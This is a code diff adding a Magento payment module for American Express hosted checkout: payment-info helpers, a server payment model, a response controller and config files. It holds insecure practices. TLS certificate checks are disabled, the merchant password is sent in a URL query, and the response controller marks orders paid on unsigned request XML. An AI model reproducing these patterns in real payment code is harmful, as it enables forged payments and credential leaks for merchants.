+ /**
201
+ * Check whether the payment was processed unsuccessfully or failed
202
+ *
203
+ * @param Mage_Payment_Model_Info $payment
204
+ * @return bool
205
+ */
206
+ public static function isPaymentFailed(Mage_Payment_Model_Info $payment)
207
+ {
208
+ $paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
209
+ return in_array($paymentStatus, array(
210
+ self::PAYMENTSTATUS_REJECTED
211
+ ));
212
+ }
213
+
214
+ /**
215
+ * Explain pending payment reason code
216
+ *
217
+ * @param string $code
218
+ * @return string
219
+ */
220
+ public static function explainPendingReason($code)
221
+ {
222
+ switch ($code) {
223
+ case 'address':
224
+ return Mage::helper('payment')->__('Customer did not include a confirmed address.');
225
+ case 'authorization':
226
+ case 'order':
227
+ return Mage::helper('payment')->__('The payment is authorized but not settled.');
228
+ case 'echeck':
229
+ return Mage::helper('payment')->__('The payment eCheck is not yet cleared.');
230
+ case 'intl':
231
+ return Mage::helper('payment')->__('Merchant holds a non-U.S. account and does not have a withdrawal mechanism.');
232
+ case 'multi-currency': // break is intentionally omitted
233
+ case 'multi_currency': // break is intentionally omitted
234
+ case 'multicurrency':
235
+ return Mage::helper('payment')->__('The payment curency does not match any of the merchant\'s balances currency.');
236
+ case 'paymentreview':
237
+ return Mage::helper('payment')->__('The payment is pending while it is being reviewed by AMEX for risk.');
238
+ case 'unilateral':
239
+ return Mage::helper('payment')->__('The payment is pending because it was made to an email address that is not yet registered or confirmed.');
240
+ case 'verify':
241
+ return Mage::helper('payment')->__('The merchant account is not yet verified.');
242
+ case 'upgrade':
243
+ return Mage::helper('payment')->__('The payment was made via credit card. In order to receive funds merchant must upgrade account to Business or Premier status.');
244
+ case 'none': // break is intentionally omitted
245
+ case 'other': // break is intentionally omitted
246
+ default:
247
+ return Mage::helper('payment')->__('Unknown reason. Please contact AMEX customer service.');
248
+ }
249
+ }
250
+
251
+ /**
252
+ * Explain the refund or chargeback reason code
253
+ *
254
+ * @param $code
255
+ * @return string
256
+ */
257
+ public static function explainReasonCode($code)
258
+ {
259
+ switch ($code) {
260
+ case 'chargeback':
261
+ return Mage::helper('payment')->__('Chargeback by customer.');
262
+ case 'guarantee':
263
+ return Mage::helper('payment')->__('Customer triggered a money-back guarantee.');
264
+ case 'buyer-complaint':
265
+ return Mage::helper('payment')->__('Customer complaint.');
266
+ case 'refund':
267
+ return Mage::helper('payment')->__('Refund issued by merchant.');
268
+ case 'adjustment_reversal':
269
+ return Mage::helper('payment')->__('Reversal of an adjustment.');
270
+ case 'chargeback_reimbursement':
271
+ return Mage::helper('payment')->__('Reimbursement for a chargeback.');
272
+ case 'chargeback_settlement':
273
+ return Mage::helper('payment')->__('Settlement of a chargeback.');
274
+ case 'none': // break is intentionally omitted
275
+ case 'other':
276
+ default:
277
+ return Mage::helper('payment')->__('Unknown reason. Please contact AMEX customer service.');
278
+ }
279
+ }
280
+
281
+ /**
282
+ * Whether a reversal/refund can be disputed with AMEX
283
+ *
284
+ * @param string $code
285
+ * @return bool;
286
+ */
287
+ public static function isReversalDisputable($code)
288
+ {
289
+ switch ($code) {
290
+ case 'none':
291
+ case 'other':
292
+ case 'chargeback':
293
+ case 'buyer-complaint':
294
+ case 'adjustment_reversal':
295
+ return true;
296
+ case 'guarantee':
297
+ case 'refund':
298
+ case 'chargeback_reimbursement':
299
+ case 'chargeback_settlement':
300
+ default:
301
+ return false;
302
+ }
303
+ }
304
+
305
+ /**
306
+ * Render info item
307
+ *
308
+ * @param array $keys
309
+ * @param Mage_Payment_Model_Info $payment
310
+ * @param bool $labelValuesOnly
311
+ */
312
+ protected function _getFullInfo(array $keys, Mage_Payment_Model_Info $payment, $labelValuesOnly)
313
+ {
314
+ $result = array();
315
+ foreach ($keys as $key) {
316
+ if (!isset($this->_paymentMapFull[$key])) {
317
+ $this->_paymentMapFull[$key] = array();
318
+ }
319
+ if (!isset($this->_paymentMapFull[$key]['label'])) {
320
+ if (!$payment->hasAdditionalInformation($key)) {
321
+ $this->_paymentMapFull[$key]['label'] = false;
322
+ $this->_paymentMapFull[$key]['value'] = false;
323
+ } else {
324
+ $value = $payment->getAdditionalInformation($key);
325
+ $this->_paymentMapFull[$key]['label'] = $this->_getLabel($key);
326
+ $this->_paymentMapFull[$key]['value'] = $value;
327
+ //$this->_paymentMapFull[$key]['value'] = $this->_getValue($value, $key);
328
+ }
329
+ }
330
+ if (!empty($this->_paymentMapFull[$key]['value'])) {
331
+ if ($labelValuesOnly) {
332
+ $result[$this->_paymentMapFull[$key]['label']] = $this->_paymentMapFull[$key]['value'];
333
+ } else {
334
+ $result[$key] = $this->_paymentMapFull[$key];
335
+ }
336
+ }
337
+ }
338
+ return $result;
339
+ }
340
+
341
+ /**
342
+ * Render info item labels
343
+ *
344
+ * @param string $key
345
+ */
346
+ protected function _getLabel($key)
347
+ {
348
+ switch ($key) {
349
+ case 'pan':
350
+ return Mage::helper('payment')->__('PAN');
351
+ case 'auth_code':
352
+ return Mage::helper('payment')->__('Authorisation Code');
353
+ case 'scheme':
354
+ return Mage::helper('payment')->__('Scheme');
355
+ }
356
+ return '';
357
+ }
358
+
359
+ /**
360
+ * Apply a filter upon value getting
361
+ *
362
+ * @param string $value
363
+ * @param string $key
364
+ * @return string
365
+ */
366
+ protected function _getValue($value, $key)
367
+ {
368
+ $label = '';
369
+ switch ($key) {
370
+ case 'vpc_avs_code':
371
+ $label = $this->_getAvsLabel($value);
372
+ break;
373
+ case 'vpc_cvv2_match':
374
+ $label = $this->_getCvv2Label($value);
375
+ break;
376
+ default:
377
+ return $value;
378
+ }
379
+ return sprintf('#%s%s', $value, $value == $label ? '' : ': ' . $label);
380
+ }
381
+
382
+ /**
383
+ * Attempt to convert AVS check result code into label
384
+ *
385
+ * @param string $value
386
+ * @return string
387
+ */
388
+ protected function _getAvsLabel($value)
389
+ {
390
+ switch ($value) {
391
+ // Visa, MasterCard, Discover and American Express
392
+ case 'A':
393
+ return Mage::helper('payment')->__('Matched Address only (no ZIP)');
394
+ case 'B': // international "A"
395
+ return Mage::helper('payment')->__('Matched Address only (no ZIP). International');
396
+ case 'N':
397
+ return Mage::helper('payment')->__('No Details matched');
398
+ case 'C': // international "N"
399
+ return Mage::helper('payment')->__('No Details matched. International');
400
+ case 'X':
401
+ return Mage::helper('payment')->__('Exact Match. Address and nine-digit ZIP code');
402
+ case 'D': // international "X"
403
+ return Mage::helper('payment')->__('Exact Match. Address and Postal Code. International');
404
+ case 'F': // UK-specific "X"
405
+ return Mage::helper('payment')->__('Exact Match. Address and Postal Code. UK-specific');
406
+ case 'E':
407
+ return Mage::helper('payment')->__('N/A. Not allowed for MOTO (Internet/Phone) transactions');
408
+ case 'G':
409
+ return Mage::helper('payment')->__('N/A. Global Unavailable');
410
+ case 'I':
411
+ return Mage::helper('payment')->__('N/A. International Unavailable');
412
+ case 'Z':
413
+ return Mage::helper('payment')->__('Matched five-digit ZIP only (no Address)');
414
+ case 'P': // international "Z"
415
+ return Mage::helper('payment')->__('Matched Postal Code only (no Address)');
416
+ case 'R':
417
+ return Mage::helper('payment')->__('N/A. Retry');
418
+ case 'S':
419
+ return Mage::helper('payment')->__('N/A. Service not Supported');
420
+ case 'U':
421
+ return Mage::helper('payment')->__('N/A. Unavailable');
422
+ case 'W':
423
+ return Mage::helper('payment')->__('Matched whole nine-didgit ZIP (no Address)');
424
+ case 'Y':
425
+ return Mage::helper('payment')->__('Yes. Matched Address and five-didgit ZIP');
426
+ // Maestro and Solo
427
+ case '0':
428
+ return Mage::helper('payment')->__('All the address information matched');
429
+ case '1':
430
+ return Mage::helper('payment')->__('None of the address information matched');
431
+ case '2':
432
+ return Mage::helper('payment')->__('Part of the address information matched');
433
+ case '3':
434
+ return Mage::helper('payment')->__('N/A. The merchant did not provide AVS information');
435
+ case '4':
436
+ return Mage::helper('payment')->__('N/A. Address not checked, or acquirer had no response. Service not available');
437
+ default:
438
+ return $value;
439
+ }
440
+ }
441
+
442
+ /**
443
+ * Attempt to convert CVV2 check result code into label
444
+ *
445
+ * @param string $value
446
+ * @return string
447
+ */
448
+ protected function _getCvv2Label($value)
449
+ {
450
+ switch ($value) {
451
+ // Visa, MasterCard, Discover and American Express
452
+ case 'M':
453
+ return Mage::helper('payment')->__('Matched (CVV2CSC)');
454
+ case 'N':
455
+ return Mage::helper('payment')->__('No match');
456
+ case 'P':
457
+ return Mage::helper('payment')->__('N/A. Not processed');
458
+ case 'S':
459
+ return Mage::helper('payment')->__('N/A. Service not supported');
460
+ case 'U':
461
+ return Mage::helper('payment')->__('N/A. Service not available');
462
+ case 'X':
463
+ return Mage::helper('payment')->__('N/A. No response');
464
+ // Maestro and Solo
465
+ case '0':
466
+ return Mage::helper('payment')->__('Matched (CVV2)');
467
+ case '1':
468
+ return Mage::helper('payment')->__('No match');
469
+ case '2':
470
+ return Mage::helper('payment')->__('N/A. The merchant has not implemented CVV2 code handling');
471
+ case '3':
472
+ return Mage::helper('payment')->__('N/A. Merchant has indicated that CVV2 is not present on card');
473
+ case '4':
474
+ return Mage::helper('payment')->__('N/A. Service not available');
475
+ default:
476
+ return $value;
477
+ }
478
+ }
479
+
480
+ /**
481
+ * Attempt to convert centinel VPAS result into label
482
+ *
483
+ * @param string $value
484
+ * @return string
485
+ */
486
+ private function _getCentinelVpasLabel($value)
487
+ {
488
+ switch ($value) {
489
+ case '2':
490
+ case 'D':
491
+ return Mage::helper('payment')->__('Authenticated, Good Result');
492
+ case '1':
493
+ return Mage::helper('payment')->__('Authenticated, Bad Result');
494
+ case '3':
495
+ case '6':
496
+ case '8':
497
+ case 'A':
498
+ case 'C':
499
+ return Mage::helper('payment')->__('Attempted Authentication, Good Result');
500
+ case '4':
501
+ case '7':
502
+ case '9':
503
+ return Mage::helper('payment')->__('Attempted Authentication, Bad Result');
504
+ case '':
505
+ case '0':
506
+ case 'B':
507
+ return Mage::helper('payment')->__('No Liability Shift');
508
+ default:
509
+ return $value;
510
+ }
511
+ }
512
+ }
app/code/local/ND/Amex/Model/Server.php ADDED
@@ -0,0 +1,291 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Model_Server extends Mage_Payment_Model_Method_Abstract
24
+ {
25
+ protected $_code = 'amex_server';
26
+
27
+ protected $_isGateway = false;
28
+ protected $_canAuthorize = false;
29
+ protected $_canCapture = true;
30
+ protected $_canCapturePartial = false;
31
+ protected $_canRefund = false;
32
+ protected $_canVoid = false;
33
+ protected $_canUseInternal = false;
34
+ protected $_canUseCheckout = true;
35
+ protected $_canUseForMultishipping = false;
36
+
37
+ protected $_formBlockType = 'amex/server_form';
38
+ protected $_paymentMethod = 'server';
39
+ protected $_infoBlockType = 'amex/payment_info';
40
+
41
+ protected $_order;
42
+
43
+ protected $_paymentUrl = '';
44
+
45
+ /**
46
+ * Get order model
47
+ *
48
+ * @return Mage_Sales_Model_Order
49
+ */
50
+ public function getOrder()
51
+ {
52
+ if (!$this->_order) {
53
+ $paymentInfo = $this->getInfoInstance();
54
+ $this->_order = Mage::getModel('sales/order')
55
+ ->loadByIncrementId($paymentInfo->getOrder()->getRealOrderId());
56
+ }
57
+ return $this->_order;
58
+ }
59
+
60
+ /**
61
+ * Grand total getter
62
+ *
63
+ * @return string
64
+ */
65
+ private function _getAmount()
66
+ {
67
+ /*if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
68
+ {
69
+ return 1000;
70
+ }
71
+ else
72
+ {*/
73
+ $_amount = (double)$this->getOrder()->getBaseGrandTotal();
74
+ return $_amount*100;
75
+ //}
76
+ }
77
+
78
+ /**
79
+ * Get Customer Id
80
+ *
81
+ * @return string
82
+ */
83
+ public function getMerchantId()
84
+ {
85
+ $merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
86
+ return $merchant_id;
87
+ }
88
+
89
+ public function getPassword()
90
+ {
91
+ $password = Mage::getStoreConfig('payment/' . $this->getCode() . '/password');
92
+ return $password;
93
+ }
94
+
95
+ public function validate()
96
+ {
97
+ return true;
98
+ }
99
+
100
+ public function getOrderPlaceRedirectUrl()
101
+ {
102
+ $url = Mage::getUrl('amex/' . $this->_paymentMethod . '/redirect');
103
+ if(!$url) {
104
+ $url = 'https://preprod-ae3g.its-online-services.com/Paypage/Create.aspx';
105
+ }
106
+ return $url;
107
+ }
108
+
109
+ /**
110
+ * prepare params array to send it to gateway page via POST
111
+ *
112
+ * @return array
113
+ */
114
+ public function getFormFields()
115
+ {
116
+ $fieldsArr = array();
117
+ $paymentInfo = $this->getInfoInstance();
118
+ $lengs = 0;
119
+
120
+ /*$currency_code = Mage::app()->getStore()-> getCurrentCurrencyCode();
121
+ $fields = array(
122
+ "SupplierID"=>$this->getMerchantId(),
123
+ "Amount"=>$this->_getAmount(), // 1000 - For Testing
124
+ "Password"=>$this->getPassword(),
125
+ "CountryCode"=>"USA",
126
+ "AmexOnly"=>"Y",
127
+ "CMName"=>"Y",
128
+ "Reference1"=>"N",
129
+ "Reference2"=>"N",
130
+ "BypassMPI"=>"N",
131
+ "CurrencyCode"=>$currency_code,
132
+ "Reference"=>$paymentInfo->getOrder()->getRealOrderId(),
133
+ "OnCompletionURL"=>Mage::getUrl('amex/' . $this->_paymentMethod . '/response', array('_secure' => true)),
134
+ "OnErrorURL"=>Mage::getUrl('amex/' . $this->_paymentMethod . '/response', array('_secure' => true))
135
+ );
136
+
137
+ foreach($fields as $key => $val)
138
+ {
139
+ $fieldsArr[$key] = $val;
140
+ }*/
141
+
142
+ $order_id = $paymentInfo->getOrder()->getRealOrderId();
143
+ $coutry_code = "GBR"; //Mage::getStoreConfig('general/country/default');
144
+ $language_code = "GBR";
145
+ $merchant_id = $this->getMerchantId();
146
+ $merchant_pwd = $this->getPassword();
147
+ $gateway_url=$this->getAmexServerUrl();
148
+ $amount = $this->_getAmount();
149
+ $currency_code = "SAR"; //Mage::app()->getStore()->getCurrentCurrencyCode();
150
+ $url = $gateway_url."?SupplierID=".$merchant_id."&Password=".$merchant_pwd."&Reference=".$order_id."&Amount=".$amount."&CurrencyCode=".$currency_code."&CountryCode=".$coutry_code. "&Language=" . $language_code . "&AmexOnly=Y&CVV=Y&OrientationCode=ltr&BypassMPI=Y&AutoLevel1Settlement=Y&CMName=Y&Reference1=N&Reference2=N&OnCompletionURL=".Mage::getUrl('amex/' . $this->_paymentMethod . '/response', array('_secure' => true))."&OnErrorURL=".Mage::getUrl('amex/' . $this->_paymentMethod . '/response', array('_secure' => true)) ;
151
+ //echo $url;die;
152
+ $ch = curl_init();
153
+ curl_setopt($ch, CURLOPT_URL,$url);
154
+ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
155
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
156
+ curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
157
+ $ch_result = curl_exec($ch);
158
+ //$ch_error = curl_error($ch);
159
+ //curl_getinfo($ch);
160
+ curl_close($ch);
161
+ /*$start = strpos($ch_result, "<PaypageURL>")+12;
162
+ $end = strpos($ch_result, "</PaypageURL>") - $start;
163
+ $this->_paymentUrl = htmlspecialchars_decode(substr($ch_result, $start, $end));*/
164
+
165
+ //print_r($ch_result);die;
166
+ $xmlString = simplexml_load_string($ch_result);
167
+ if($xmlString->Code=='0')
168
+ $this->_paymentUrl = $xmlString->PaypageURL;
169
+ else {
170
+ Mage::getSingleton('core/session')->addError(Mage::helper('core')->__('Some of the information you have provided is incorrect, please do try again. If the problem persists, please call American Express Customer Service Unit on toll free 800 124 2229 within the Kingdom of Saudi Arabia or +9661 474 9035 outside of the Kingdom. Thank you.'));
171
+ $this->_redirect('checkout/cart');
172
+ return;
173
+ }
174
+
175
+
176
+ return $fieldsArr;
177
+ }
178
+
179
+ /**
180
+ * Get url of AMEX Shared Payment
181
+ *
182
+ * @return string
183
+ */
184
+ public function getAmexServerUrl()
185
+ {
186
+ if (!$url = Mage::getStoreConfig('payment/' . $this->getCode() . '/api_url')) {
187
+ $url = 'https://preprod-ae3g.its-online-services.com/Paypage/Create.aspx';
188
+ }
189
+ return $url;
190
+ }
191
+
192
+ public function getAmexTransactionUrl()
193
+ {
194
+ if (!$this->_paymentUrl) {
195
+ $this->_paymentUrl = 'https://preprod-ae3g.its-online-services.com/paypage/transaction.aspx';
196
+ }
197
+ return $this->_paymentUrl;
198
+ }
199
+
200
+ /**
201
+ * Get debug flag
202
+ *
203
+ * @return string
204
+ */
205
+ public function getDebug()
206
+ {
207
+ return Mage::getStoreConfig('payment/' . $this->getCode() . '/debug_flag');
208
+ }
209
+
210
+ public function capture(Varien_Object $payment, $amount)
211
+ {
212
+ $payment->setStatus(self::STATUS_APPROVED)
213
+ ->setLastTransId($this->getTransactionId());
214
+
215
+ return $this;
216
+ }
217
+
218
+ public function cancel(Varien_Object $payment)
219
+ {
220
+ $payment->setStatus(self::STATUS_DECLINED)
221
+ ->setLastTransId($this->getTransactionId());
222
+
223
+ return $this;
224
+ }
225
+
226
+ /**
227
+ * Return redirect block type
228
+ *
229
+ * @return string
230
+ */
231
+ public function getRedirectBlockType()
232
+ {
233
+ return $this->_redirectBlockType;
234
+ }
235
+
236
+ public function assignData($data)
237
+ {
238
+ //Mage::throwException(implode(',',$data));
239
+ $result = parent::assignData($data);
240
+ /*if (is_array($data)) {
241
+ $this->getInfoInstance()->setAdditionalInformation($key, isset($data[$key]) ? $data[$key] : null);
242
+ }
243
+ elseif ($data instanceof Varien_Object) {
244
+ $this->getInfoInstance()->setAdditionalInformation($key, $data->getData($key));
245
+ }*/
246
+ return $result;
247
+ }
248
+ /**
249
+ * Return payment method type string
250
+ *
251
+ * @return string
252
+ */
253
+ public function getPaymentMethodType()
254
+ {
255
+ return $this->_paymentMethod;
256
+ }
257
+
258
+ public function afterSuccessOrder($response)
259
+ {
260
+ $order = Mage::getModel('sales/order');
261
+ $order->loadByIncrementId($response->Reference);
262
+ $paymentInst = $order->getPayment()->getMethodInstance();
263
+ //$paymentInst->setTransactionId($response['vpc_TransactionNo']);
264
+ $paymentInst->setStatus(self::STATUS_APPROVED)
265
+ ->setLastTransId($response->Reference)
266
+ ->setTransactionId($response->Reference);
267
+ /*->setAdditionalInformation(ND_Amex_Model_Info::PAN_INFO,$response->PAN)
268
+ ->setAdditionalInformation(ND_Amex_Model_Info::AUTH_CODE,$response->AuthCode)
269
+ ->setAdditionalInformation(ND_Amex_Model_Info::SCHEME,$response->Scheme);*/
270
+
271
+ $order->sendNewOrderEmail();
272
+ if ($order->canInvoice()) {
273
+ $invoice = $order->prepareInvoice();
274
+
275
+ $invoice->register()->capture();
276
+ Mage::getModel('core/resource_transaction')
277
+ ->addObject($invoice)
278
+ ->addObject($invoice->getOrder())
279
+ ->save();
280
+ }
281
+ $transaction = Mage::getModel('sales/order_payment_transaction');
282
+ $transaction->setTxnId($response->Reference);
283
+ $transaction->setOrderPaymentObject($order->getPayment())
284
+ ->setTxnType(Mage_Sales_Model_Order_Payment_Transaction::TYPE_CAPTURE);
285
+ $transaction->save();
286
+ $order_status = Mage::helper('core')->__('Payment is successful.');
287
+
288
+ $order->addStatusToHistory(Mage_Sales_Model_Order::STATE_PROCESSING, $order_status);
289
+ $order->save();
290
+ }
291
+ }
app/code/local/ND/Amex/controllers/ServerController.php ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_ServerController extends ND_Amex_Controller_Abstract
24
+ {
25
+ protected $_redirectBlockType = 'amex/server_redirect';
26
+
27
+ public function responseAction()
28
+ {
29
+ $responseXml = $this->getRequest()->getParams();
30
+ $responseParams = simplexml_load_string($responseXml['XML']);
31
+ //echo '<pre>';print_r($responseParams);die;
32
+ if($responseParams->Code=='3')
33
+ {
34
+ Mage::getSingleton('core/session')->addError(Mage::helper('core')->__('Transaction is aborted by user'));
35
+ $this->_redirect('checkout/cart');
36
+ return;
37
+ }
38
+ elseif($responseParams->Code=='2')
39
+ {
40
+ Mage::getModel('amex/server')->afterSuccessOrder($responseParams);
41
+ //Mage::getSingleton('core/session')->addSuccess(Mage::helper('core')->__($responseParams['vpc_Message']));
42
+ $this->_redirect('checkout/onepage/success');
43
+ return;
44
+ }
45
+ else
46
+ {
47
+ Mage::getSingleton('core/session')->addError(Mage::helper('core')->__('Trasaction Failed'));
48
+ $this->_redirect('checkout/cart');
49
+ return;
50
+ }
51
+ }
52
+ }
app/code/local/ND/Amex/etc/config.xml ADDED
@@ -0,0 +1,117 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * ND Amex payment gateway
5
+ *
6
+ * NOTICE OF LICENSE
7
+ *
8
+ * This source file is subject to the Open Software License (OSL 3.0)
9
+ * that is bundled with this package in the file LICENSE.txt.
10
+ * It is also available through the world-wide-web at this URL:
11
+ * http://opensource.org/licenses/osl-3.0.php
12
+ * If you did not receive a copy of the license and are unable to
13
+ * obtain it through the world-wide-web, please send an email
14
+ * to license@magentocommerce.com so you can be sent a copy immediately.
15
+ *
16
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
17
+ *
18
+ * @category Fontis
19
+ * @package ND_Amex
20
+ * @copyright Copyright (c) 2010 ND Amex
21
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
22
+ */
23
+ -->
24
+ <config>
25
+ <modules>
26
+ <ND_Amex>
27
+ <version>0.0.1</version>
28
+ </ND_Amex>
29
+ </modules>
30
+ <global>
31
+ <models>
32
+ <amex>
33
+ <class>ND_Amex_Model</class>
34
+ </amex>
35
+ </models>
36
+ <helpers>
37
+ <amex>
38
+ <class>ND_Amex_Helper</class>
39
+ </amex>
40
+ </helpers>
41
+ <resources>
42
+ <amex_setup>
43
+ <setup>
44
+ <module>ND_Amex</module>
45
+ </setup>
46
+ <connection>
47
+ <use>core_setup</use>
48
+ </connection>
49
+ </amex_setup>
50
+ <amex_write>
51
+ <connection>
52
+ <use>core_write</use>
53
+ </connection>
54
+ </amex_write>
55
+ <amex_read>
56
+ <connection>
57
+ <use>core_read</use>
58
+ </connection>
59
+ </amex_read>
60
+ </resources>
61
+ <blocks>
62
+ <amex><class>ND_Amex_Block</class></amex>
63
+ </blocks>
64
+ </global>
65
+ <frontend>
66
+ <secure_url>
67
+ <amex_server>/amex/server</amex_server>
68
+ </secure_url>
69
+ <routers>
70
+ <amex>
71
+ <use>standard</use>
72
+ <args>
73
+ <module>ND_Amex</module>
74
+ <frontName>amex</frontName>
75
+ </args>
76
+ </amex>
77
+ </routers>
78
+ <translate>
79
+ <modules>
80
+ <ND_Amex>
81
+ <files>
82
+ <default>ND_Amex.csv</default>
83
+ </files>
84
+ </ND_Amex>
85
+ </modules>
86
+ </translate>
87
+ <layout>
88
+ <updates>
89
+ <amex>
90
+ <file>amex.xml</file>
91
+ </amex>
92
+ </updates>
93
+ </layout>
94
+ </frontend>
95
+ <adminhtml>
96
+ <translate>
97
+ <modules>
98
+ <ND_Amex>
99
+ <files>
100
+ <default>ND_Amex.csv</default>
101
+ </files>
102
+ </ND_Amex>
103
+ </modules>
104
+ </translate>
105
+ </adminhtml>
106
+ <default>
107
+ <payment>
108
+ <amex_server>
109
+ <merchant_id backend_model="adminhtml/system_config_backend_encrypted"/>
110
+ <model>amex/server</model>
111
+ <title>Amex Express</title>
112
+ <order_status>processing</order_status>
113
+ <allowspecific>0</allowspecific>
114
+ </amex_server>
115
+ </payment>
116
+ </default>
117
+ </config>
app/code/local/ND/Amex/etc/system.xml ADDED
@@ -0,0 +1,119 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * ND Amex payment gateway
5
+ *
6
+ * NOTICE OF LICENSE
7
+ *
8
+ * This source file is subject to the Open Software License (OSL 3.0)
9
+ * that is bundled with this package in the file LICENSE.txt.
10
+ * It is also available through the world-wide-web at this URL:
11
+ * http://opensource.org/licenses/osl-3.0.php
12
+ * If you did not receive a copy of the license and are unable to
13
+ * obtain it through the world-wide-web, please send an email
14
+ * to license@magentocommerce.com so you can be sent a copy immediately.
15
+ *
16
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
17
+ *
18
+ * @category ND
19
+ * @package ND_Amex
20
+ * @copyright Copyright (c) 2010 ND Amex
21
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
22
+ */
23
+ -->
24
+ <config>
25
+ <sections>
26
+ <payment>
27
+ <groups>
28
+ <amex_server translate="label" module="payment">
29
+ <label>Amex Express</label>
30
+ <frontend_type>text</frontend_type>
31
+ <sort_order>301</sort_order>
32
+ <show_in_default>1</show_in_default>
33
+ <show_in_website>1</show_in_website>
34
+ <show_in_store>0</show_in_store>
35
+ <fields>
36
+ <active translate="label">
37
+ <label>Enabled</label>
38
+ <frontend_type>select</frontend_type>
39
+ <source_model>adminhtml/system_config_source_yesno</source_model>
40
+ <sort_order>10</sort_order>
41
+ <show_in_default>1</show_in_default>
42
+ <show_in_website>1</show_in_website>
43
+ <show_in_store>0</show_in_store>
44
+ </active>
45
+ <title translate="label">
46
+ <label>Title</label>
47
+ <frontend_type>text</frontend_type>
48
+ <sort_order>20</sort_order>
49
+ <show_in_default>1</show_in_default>
50
+ <show_in_website>1</show_in_website>
51
+ <show_in_store>0</show_in_store>
52
+ </title>
53
+ <merchant_id translate="label">
54
+ <label>Merchant ID</label>
55
+ <frontend_type>text</frontend_type>
56
+ <backend_model>adminhtml/system_config_backend_encrypted</backend_model>
57
+ <sort_order>30</sort_order>
58
+ <show_in_default>1</show_in_default>
59
+ <show_in_website>1</show_in_website>
60
+ <show_in_store>0</show_in_store>
61
+ </merchant_id>
62
+ <password translate="label">
63
+ <label>Password</label>
64
+ <frontend_type>text</frontend_type>
65
+ <sort_order>40</sort_order>
66
+ <show_in_default>1</show_in_default>
67
+ <show_in_website>1</show_in_website>
68
+ <show_in_store>0</show_in_store>
69
+ </password>
70
+ <api_url translate="label">
71
+ <label>API Gateway URL</label>
72
